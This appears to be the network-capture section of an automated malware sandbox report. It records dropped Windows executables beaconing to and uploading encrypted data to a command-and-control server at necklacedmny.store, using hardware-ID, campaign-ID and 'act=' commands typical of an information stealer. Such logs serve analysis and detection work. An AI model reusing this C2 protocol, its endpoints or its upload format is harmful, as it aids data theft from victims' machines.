2024-10-31 22:38:39 UTC	1369	IN	Data Raw: 31 65 64 65 0d 0a 4c 74 54 32 31 79 5a 61 65 47 55 74 2b 73 42 4b 4d 69 50 36 46 6e 4c 51 45 44 72 46 37 41 78 6a 4e 4b 48 61 32 6a 6b 72 43 77 36 70 4d 32 4e 43 77 6f 75 73 46 49 76 2b 77 63 72 52 30 43 6d 48 55 34 41 30 65 4a 53 39 57 43 54 54 70 34 75 4f 37 50 2f 70 62 65 76 52 6f 78 4f 32 65 56 77 52 79 63 71 30 54 75 4a 33 7a 33 4a 42 6f 65 43 4b 70 47 78 4d 4d 73 66 69 69 74 6f 5a 44 38 6c 39 4f 37 46 48 35 79 5a 62 6d 47 55 74 2f 71 41 4c 34 75 4d 36 67 6f 4f 41 6b 43 37 77 61 44 6a 30 30 73 65 4b 47 6b 68 37 4f 34 30 2b 45 52 4d 44 4a 6c 71 6f 67 54 33 2f 31 4b 39 6e 42 79 37 33 5a 2f 53 30 58 6f 53 39 47 54 43 33 63 75 6f 2b 6d 70 67 4a 72 47 71 67 63 39 66 68 53 34 77 68 79 4b 36 42 71 70 48 51 4b 43 64 6a 67 44 42 75 31 35 31 59 49 4e 65 6a 2f Data Ascii: 1edeLtT21yZaeGUt+sBKMiP6FnLQEDrF7AxjNKHa2jkrCw6pM2NCwousFIv+wcrR0CmHU4A0eJS9WCTTp4uO7P/pbevRoxO2eVwRycq0TuJ3z3JBoeCKpGxMMsfiitoZD8l9O7FH5yZbmGUt/qAL4uM6goOAkC7waDj00seKGkh7O40+ERMDJlqogT3/1K9nBy73Z/S0XoS9GTC3cuo+mpgJrGqgc9fhS4whyK6BqpHQKCdjgDBu151YINej/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49994	188.114.97.3	443	3264	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:39 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 22:38:39 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:40 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mgjg8504enna9ub0jcvkruvs2e; expires=Mon, 24-Feb-2025 16:25:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o1GaHWRLoJMk1PK0%2FnDLufCgxq0PG1nFP4uyO3c3qVcqOQRnwv0EtCqprDLqAd0SUop9Q8wh5BhxW1UjRy9mfwDseEGOVwdrryCjYrEL2u65cmuqL6WZv8jsvvY7V0Fqw6TwSgA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722f84e1f45ff-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2238&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=1024769&cwnd=251&unsent_bytes=0&cid=14065801ecab76fc&ts=737&x=0"
2024-10-31 22:38:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50000	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:40 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 22:38:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 22:38:40 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=244d99ghc9094pq6rh29jghbjj; expires=Mon, 24-Feb-2025 16:25:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lYyZQWd3e7jAFDEAVOseleeNDrMpflrYC3%2FvZzL8aBhUPxZ2waFt8EGxDIoirtzUOcP8D6S5HcSEv8qRLOQharGtt6NVaNPHx9EiO%2F7DSVlLwweWopWAhuFsfcpA2iBbDDbJe38%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722fd593e2cda-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1835&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1741431&cwnd=251&unsent_bytes=0&cid=b5738d5c75a6f916&ts=624&x=0"
2024-10-31 22:38:40 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 22:38:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50010	188.114.97.3	443	6424	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:41 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 22:38:41 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:41 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 22:38:41 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5i9gaeg1uls3obq80ro0fbdbmb; expires=Mon, 24-Feb-2025 16:25:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=go07KloBXki8Jb0pJ0hfL9MSeGxeAC26kuM1NJTpdgj9nxSPrIM4lX%2BjinnZhyDhBQm7F6frgxcjUPp2AxF5KtxHmHO4HZdvfOtGXrlMaTy23MeOrJABf2NRkj1lMprf56clbUs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723044e18478e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1033&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2585714&cwnd=235&unsent_bytes=0&cid=0827e7fc7f16c3fb&ts=621&x=0"
2024-10-31 22:38:41 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50014	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:41 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 22:38:41 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 22:38:42 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4l18fpm91ov2i98mubcgd4b78n; expires=Mon, 24-Feb-2025 16:25:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R2ojwclG7eLzfjRQK2SNhSs2Py1u4kjue5w0kHXASyozAowvNtK9ynauP6l1PKCooDdZ6d%2Fd1z2aeVyGadmohp8IC3d7xNVeHWCSeijxaUcxlvkCdql44O13cQ5hB2NZPlyjJSA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db72306a93c2e2a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1433&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2071530&cwnd=234&unsent_bytes=0&cid=242af4c4a64babbe&ts=516&x=0"
2024-10-31 22:38:42 UTC	360	IN	Data Raw: 31 64 38 36 0d 0a 44 49 77 38 72 49 4f 68 66 61 52 33 76 7a 52 6c 79 41 53 50 4c 66 6e 39 59 64 78 70 79 68 4c 32 38 58 6a 36 4c 64 47 79 68 4a 64 33 72 6b 71 4f 75 5a 56 52 68 67 54 61 46 6c 2b 38 64 76 70 49 31 64 38 41 75 45 76 77 64 4a 65 64 43 35 38 42 38 38 54 70 74 54 62 71 58 63 44 77 78 46 47 47 45 73 63 57 58 35 4e 2f 72 55 69 58 33 31 76 2b 44 4b 42 77 6c 35 30 61 6d 30 61 2b 77 75 6a 30 5a 4f 42 62 78 4f 62 43 47 63 55 62 30 6c 45 41 72 57 58 6c 51 35 43 51 43 62 46 4c 35 6a 43 54 69 31 72 41 44 35 7a 58 38 50 5a 42 37 55 2f 48 6f 64 78 52 33 31 58 61 57 6b 66 79 4a 75 35 49 6d 35 45 48 75 41 4b 69 65 70 36 56 47 35 35 48 6f 64 76 69 2f 32 54 75 57 4d 58 73 79 77 33 49 45 64 56 61 42 71 64 6c 72 51 48 62 6d 42 76 2b 55 2b 67 6a 70 70 41 4c 69 Data Ascii: 1d86DIw8rIOhfaR3vzRlyASPLfn9YdxpyhL28Xj6LdGyhJd3rkqOuZVRhgTaFl+8dvpI1d8AuEvwdJedC58B88TptTbqXcDwxFGGEscWX5N/rUiX31v+DKBwl50am0a+wuj0ZOBbxObCGcUb0lEArWXlQ5CQCbFL5jCTi1rAD5zX8PZB7U/HodxR31XaWkfyJu5Im5EHuAKiep6VG55Hodvi/2TuWMXsyw3IEdVaBqdlrQHbmBv+U+gjppALi
2024-10-31 22:38:42 UTC	1369	IN	Data Raw: 5a 64 41 72 68 74 35 45 4b 57 6e 77 36 30 42 4b 74 77 6b 35 6b 51 6c 30 57 33 33 65 76 7a 62 75 34 65 67 4b 48 45 42 34 5a 4e 6e 58 55 43 75 6d 48 68 57 64 6d 6c 51 36 46 46 73 54 43 54 6e 31 72 41 44 37 76 56 35 66 5a 6c 34 56 33 47 36 74 45 66 31 42 50 51 55 78 57 73 59 2b 4e 46 6d 49 30 4a 73 41 32 72 65 5a 2b 61 48 35 39 4c 38 35 36 6d 38 6e 61 75 42 6f 37 41 7a 68 54 4b 48 38 70 57 52 37 55 6f 39 41 2b 63 6b 30 50 6d 53 36 78 78 6b 4a 49 65 6c 6b 47 33 33 4f 44 37 59 2b 46 59 78 4f 48 45 46 63 34 64 33 46 73 4d 70 57 62 6f 51 70 2b 5a 44 37 38 4f 36 44 37 55 6c 41 4c 59 46 2f 50 2b 34 66 5a 38 72 47 76 4e 37 38 30 59 30 46 58 43 47 42 37 71 59 65 45 50 77 39 38 4e 75 77 53 36 63 59 61 57 46 49 70 44 74 74 62 72 39 6d 44 75 57 38 6e 73 7a 52 6e 42 46 Data Ascii: ZdArht5EKWnw60BKtwk5kQl0W33evzbu4egKHEB4ZNnXUCumHhWdmlQ6FFsTCTn1rAD7vV5fZl4V3G6tEf1BPQUxWsY+NFmI0JsA2reZ+aH59L856m8nauBo7AzhTKH8pWR7Uo9A+ck0PmS6xxkJIelkG33OD7Y+FYxOHEFc4d3FsMpWboQp+ZD78O6D7UlALYF/P+4fZ8rGvN780Y0FXCGB7qYeEPw98NuwS6cYaWFIpDttbr9mDuW8nszRnBF
2024-10-31 22:38:42 UTC	1369	IN	Data Raw: 71 59 65 45 50 77 39 38 50 74 77 75 6a 65 70 43 54 48 5a 56 4b 73 4e 66 6c 2b 47 6e 6b 55 4d 6e 6c 7a 78 62 4c 45 39 31 52 41 36 39 30 36 45 61 58 6b 30 50 77 53 36 39 6f 31 4d 74 61 74 30 69 6c 30 38 6e 32 66 2b 63 65 30 61 2f 61 58 38 45 5a 6e 51 35 48 72 57 50 6c 52 4a 32 58 41 36 77 4f 70 6e 75 56 6d 52 79 5a 51 72 2f 57 35 76 52 75 36 46 4c 4f 35 73 51 4e 31 42 44 62 52 41 33 71 4b 4b 31 49 67 39 39 62 2f 6a 32 34 5a 34 57 46 57 4b 31 4d 76 64 37 68 34 79 37 78 45 4e 65 68 78 42 4f 47 54 5a 31 64 42 36 5a 68 35 55 6d 66 6c 77 79 78 41 72 70 78 6d 4a 30 49 6e 30 2b 36 33 75 6e 35 5a 2b 4e 5a 77 2b 72 4a 45 73 49 53 33 42 5a 4a 36 6d 48 31 44 38 50 66 4e 61 34 47 70 46 36 66 6e 78 50 59 55 50 33 4a 70 76 4a 69 72 67 61 4f 35 63 38 58 7a 42 72 55 58 41 Data Ascii: qYeEPw98PtwujepCTHZVKsNfl+GnkUMnlzxbLE91RA6906EaXk0PwS69o1Mtat0il08n2f+ce0a/aX8EZnQ5HrWPlRJ2XA6wOpnuVmRyZQr/W5vRu6FLO5sQN1BDbRA3qKK1Ig99b/j24Z4WFWK1Mvd7h4y7xENehxBOGTZ1dB6Zh5UmflwyxArpxmJ0In0+63un5Z+NZw+rJEsIS3BZJ6mH1D8PfNa4GpF6fnxPYUP3JpvJirgaO5c8XzBrUXA
2024-10-31 22:38:42 UTC	1369	IN	Data Raw: 53 5a 54 66 54 66 34 4d 73 44 44 4d 30 7a 57 2f 65 76 48 78 33 4c 56 78 6f 45 65 4f 35 73 39 66 6e 6c 58 52 56 51 75 69 61 65 74 47 6c 35 55 4b 74 51 65 6a 64 4a 69 61 48 35 35 4f 74 74 58 6e 38 57 4c 6b 57 4d 33 69 7a 42 44 4a 48 5a 30 59 52 36 31 2b 72 52 66 62 75 68 53 31 42 61 34 77 69 39 30 44 32 45 69 2f 6b 4c 36 31 59 75 64 59 79 4f 54 50 48 73 41 64 32 46 34 44 71 32 44 72 54 4a 53 62 42 72 38 45 72 48 79 61 6d 52 75 5a 51 37 6a 66 37 66 41 75 6f 42 37 4a 2b 59 4e 48 68 69 54 65 51 42 43 36 61 71 31 51 31 59 5a 44 75 51 66 6f 4b 4e 53 53 43 4a 4a 46 76 64 58 70 38 47 33 68 57 63 50 6e 7a 78 58 50 48 64 74 5a 44 72 68 6c 34 55 47 63 6b 51 2b 77 42 71 4a 7a 6d 64 4e 55 32 45 69 72 6b 4c 36 31 51 75 6c 54 34 4f 72 50 47 49 59 4b 6b 30 39 48 72 57 71 Data Ascii: SZTfTf4MsDDM0zW/evHx3LVxoEeO5s9fnlXRVQuiaetGl5UKtQejdJiaH55OttXn8WLkWM3izBDJHZ0YR61+rRfbuhS1Ba4wi90D2Ei/kL61YudYyOTPHsAd2F4Dq2DrTJSbBr8ErHyamRuZQ7jf7fAuoB7J+YNHhiTeQBC6aq1Q1YZDuQfoKNSSCJJFvdXp8G3hWcPnzxXPHdtZDrhl4UGckQ+wBqJzmdNU2EirkL61QulT4OrPGIYKk09HrWq
2024-10-31 22:38:42 UTC	1369	IN	Data Raw: 30 4f 49 44 4c 68 67 6c 39 45 72 6a 6b 79 6c 32 2b 76 35 4c 76 45 51 31 36 48 45 45 34 5a 4e 6e 56 41 49 6f 32 58 69 54 70 4b 54 44 72 73 43 72 58 47 53 6c 78 43 53 54 37 58 57 35 2f 42 6b 37 56 2f 45 36 4d 51 58 77 52 62 50 46 6b 6e 71 59 66 55 50 77 39 38 71 75 52 6d 6d 59 4e 53 4d 56 49 45 50 74 4e 79 6d 72 53 37 71 56 4d 48 6c 78 42 50 41 45 4e 74 62 42 71 56 6e 37 55 43 66 6c 41 71 34 43 71 56 31 6d 5a 63 49 6b 6b 53 38 33 4f 2f 35 59 36 34 51 6a 75 62 62 58 35 35 56 37 46 73 4a 70 47 48 37 44 34 54 52 47 76 34 4d 70 44 44 4d 30 78 75 55 51 4c 44 66 35 66 5a 76 35 45 7a 63 37 63 6f 58 77 78 6e 57 57 41 47 34 59 4f 4a 47 6d 4a 77 4b 75 51 4f 6b 65 70 65 55 57 74 59 50 74 4d 69 6d 72 53 37 4e 53 64 37 73 67 77 43 49 44 4a 31 52 43 2b 6f 2b 72 55 65 57 Data Ascii: 0OIDLhgl9Erjkyl2+v5LvEQ16HEE4ZNnVAIo2XiTpKTDrsCrXGSlxCST7XW5/Bk7V/E6MQXwRbPFknqYfUPw98quRmmYNSMVIEPtNymrS7qVMHlxBPAENtbBqVn7UCflAq4CqV1mZcIkkS83O/5Y64QjubbX55V7FsJpGH7D4TRGv4MpDDM0xuUQLDf5fZv5Ezc7coXwxnWWAG4YOJGmJwKuQOkepeUWtYPtMimrS7NSd7sgwCIDJ1RC+o+rUeW
2024-10-31 22:38:42 UTC	1369	IN	Data Raw: 53 68 65 5a 43 62 47 5a 68 4c 74 39 66 6a 39 6d 4c 6c 57 63 33 75 78 78 62 49 48 4e 49 57 53 65 70 68 39 51 2f 44 33 79 4b 6c 43 4b 52 39 31 49 78 55 67 51 2b 30 33 4b 61 74 4c 75 4a 51 79 2b 48 4a 47 63 49 51 32 31 77 43 71 6d 33 75 51 4a 2b 5a 42 37 45 4c 6f 33 6d 56 6c 52 2b 53 52 4c 58 64 35 66 4e 6f 72 68 43 4f 35 74 74 66 6e 6c 58 39 54 51 71 6d 59 61 31 51 31 59 5a 44 75 51 66 6f 4b 4e 53 59 46 70 78 49 73 39 33 6c 2f 57 76 71 56 4d 76 68 79 77 33 4f 46 64 70 45 46 61 70 76 36 45 4f 59 6e 77 65 34 41 71 35 7a 6b 4e 4e 55 32 45 69 72 6b 4c 36 31 51 2b 4a 5a 35 2b 62 59 58 39 6c 62 78 42 59 41 70 69 61 31 44 35 71 55 43 62 45 47 71 33 61 58 6d 42 2b 53 54 72 54 59 36 2b 64 74 34 56 48 4b 34 63 77 5a 77 42 54 53 55 41 43 6a 5a 2b 56 49 32 39 46 44 75 Data Ascii: SheZCbGZhLt9fj9mLlWc3uxxbIHNIWSeph9Q/D3yKlCKR91IxUgQ+03KatLuJQy+HJGcIQ21wCqm3uQJ+ZB7ELo3mVlR+SRLXd5fNorhCO5ttfnlX9TQqmYa1Q1YZDuQfoKNSYFpxIs93l/WvqVMvhyw3OFdpEFapv6EOYnwe4Aq5zkNNU2EirkL61Q+JZ5+bYX9lbxBYApia1D5qUCbEGq3aXmB+STrTY6+dt4VHK4cwZwBTSUACjZ+VI29FDu
2024-10-31 22:38:42 UTC	361	IN	Data Raw: 54 67 78 32 50 51 50 4f 65 70 76 6f 75 74 6d 65 4f 36 4d 51 45 31 77 50 51 52 67 44 71 57 61 4d 50 67 39 39 62 2f 6a 36 72 66 70 71 55 44 49 6b 43 6c 4d 62 73 38 6e 37 70 53 63 47 68 6a 56 2f 41 56 59 55 46 53 65 70 69 2f 41 2f 44 7a 31 48 6c 58 76 73 6e 78 4d 45 46 31 6c 62 7a 78 71 61 74 50 4b 41 65 33 4b 47 62 58 34 45 57 7a 30 51 42 71 58 44 75 43 4b 57 68 4a 4b 51 47 72 6d 65 46 72 53 53 66 56 62 37 57 38 65 51 69 2b 31 33 41 37 38 51 4a 68 6c 75 64 57 55 66 79 58 36 30 48 32 36 42 4e 2f 68 50 6f 4b 4e 53 6d 47 5a 5a 42 74 4d 62 33 75 45 6e 30 55 38 6a 32 30 6c 2b 49 56 64 73 57 58 2f 6f 6f 72 55 75 4b 33 31 76 75 57 66 4d 6c 78 38 52 4b 79 6c 44 39 79 61 62 6a 4c 72 59 4d 67 4b 48 52 58 35 35 56 6d 6c 55 56 75 47 44 75 57 5a 6a 59 50 59 41 6c 72 33 Data Ascii: Tgx2PQPOepvoutmeO6MQE1wPQRgDqWaMPg99b/j6rfpqUDIkClMbs8n7pScGhjV/AVYUFSepi/A/Dz1HlXvsnxMEF1lbzxqatPKAe3KGbX4EWz0QBqXDuCKWhJKQGrmeFrSSfVb7W8eQi+13A78QJhludWUfyX60H26BN/hPoKNSmGZZBtMb3uEn0U8j20l+IVdsWX/oorUuK31vuWfMlx8RKylD9yabjLrYMgKHRX55VmlUVuGDuWZjYPYAlr3
2024-10-31 22:38:42 UTC	1369	IN	Data Raw: 32 36 65 36 0d 0a 6d 44 57 4d 55 48 7a 31 41 45 76 47 57 71 63 61 57 63 46 62 4d 45 6f 33 47 71 72 54 53 56 54 72 44 65 70 4d 52 34 34 30 37 4e 35 4d 51 68 2b 42 76 61 51 67 43 6b 59 4f 30 50 31 64 38 4d 2f 6c 4f 52 4d 4e 7a 54 4a 64 59 50 71 35 43 2b 74 56 76 74 55 4d 44 6d 31 51 36 4c 4e 73 74 62 43 4b 46 6e 72 51 48 62 6d 55 50 6d 57 2b 59 77 6b 49 4a 61 77 42 2f 68 69 37 4f 6d 4f 62 34 4d 30 61 2f 61 58 39 42 56 68 51 52 4a 36 6e 53 74 46 39 76 59 44 62 4d 4b 71 33 36 58 67 51 69 65 54 4b 58 54 6f 63 74 51 7a 31 50 46 37 63 34 51 7a 53 76 6a 64 77 71 68 61 75 42 41 6b 4b 45 39 71 77 69 6d 66 70 4f 46 43 39 67 42 38 39 2b 6d 72 56 65 75 46 6f 37 65 6a 56 2f 65 56 59 55 57 4d 71 6c 6f 34 30 69 4e 6a 6b 36 66 42 71 4e 38 6d 5a 77 52 32 41 48 7a 31 71 61 Data Ascii: 26e6mDWMUHz1AEvGWqcaWcFbMEo3GqrTSVTrDepMR4407N5MQh+BvaQgCkYO0P1d8M/lORMNzTJdYPq5C+tVvtUMDm1Q6LNstbCKFnrQHbmUPmW+YwkIJawB/hi7OmOb4M0a/aX9BVhQRJ6nStF9vYDbMKq36XgQieTKXToctQz1PF7c4QzSvjdwqhauBAkKE9qwimfpOFC9gB89+mrVeuFo7ejV/eVYUWMqlo40iNjk6fBqN8mZwR2AHz1qa
2024-10-31 22:38:42 UTC	1369	IN	Data Raw: 66 44 66 35 67 6a 46 42 64 74 56 4f 5a 52 4e 34 55 6d 63 68 51 53 34 4c 59 67 77 32 74 4d 56 32 42 65 4b 6b 4b 36 31 55 61 41 65 31 71 47 62 58 2f 4d 57 30 31 67 41 76 48 65 67 61 6f 79 63 45 37 67 49 36 44 37 55 6c 56 72 41 48 2f 32 51 34 75 51 75 74 67 36 63 75 70 5a 4d 6b 55 57 50 53 55 6d 7a 4a 76 73 50 77 38 31 4e 2f 68 6e 6f 4b 4e 54 55 47 59 70 64 74 64 50 77 39 69 6e 51 59 4f 6a 69 30 68 58 6e 47 4d 31 52 4f 5a 52 7a 37 6b 47 56 6d 42 57 76 53 2b 59 77 6d 39 4e 43 6f 51 2f 37 6e 4f 44 32 65 4b 35 68 67 4b 48 62 58 35 35 56 36 46 55 4a 70 47 48 37 58 74 61 35 41 4b 38 42 69 58 32 45 6c 46 72 57 44 37 57 51 76 71 59 67 72 6c 72 66 6f 5a 74 50 6c 45 36 49 42 56 44 36 4e 50 49 42 67 74 38 56 2f 6c 50 36 50 74 53 42 57 73 41 50 39 4e 50 30 35 32 6a 74 Data Ascii: 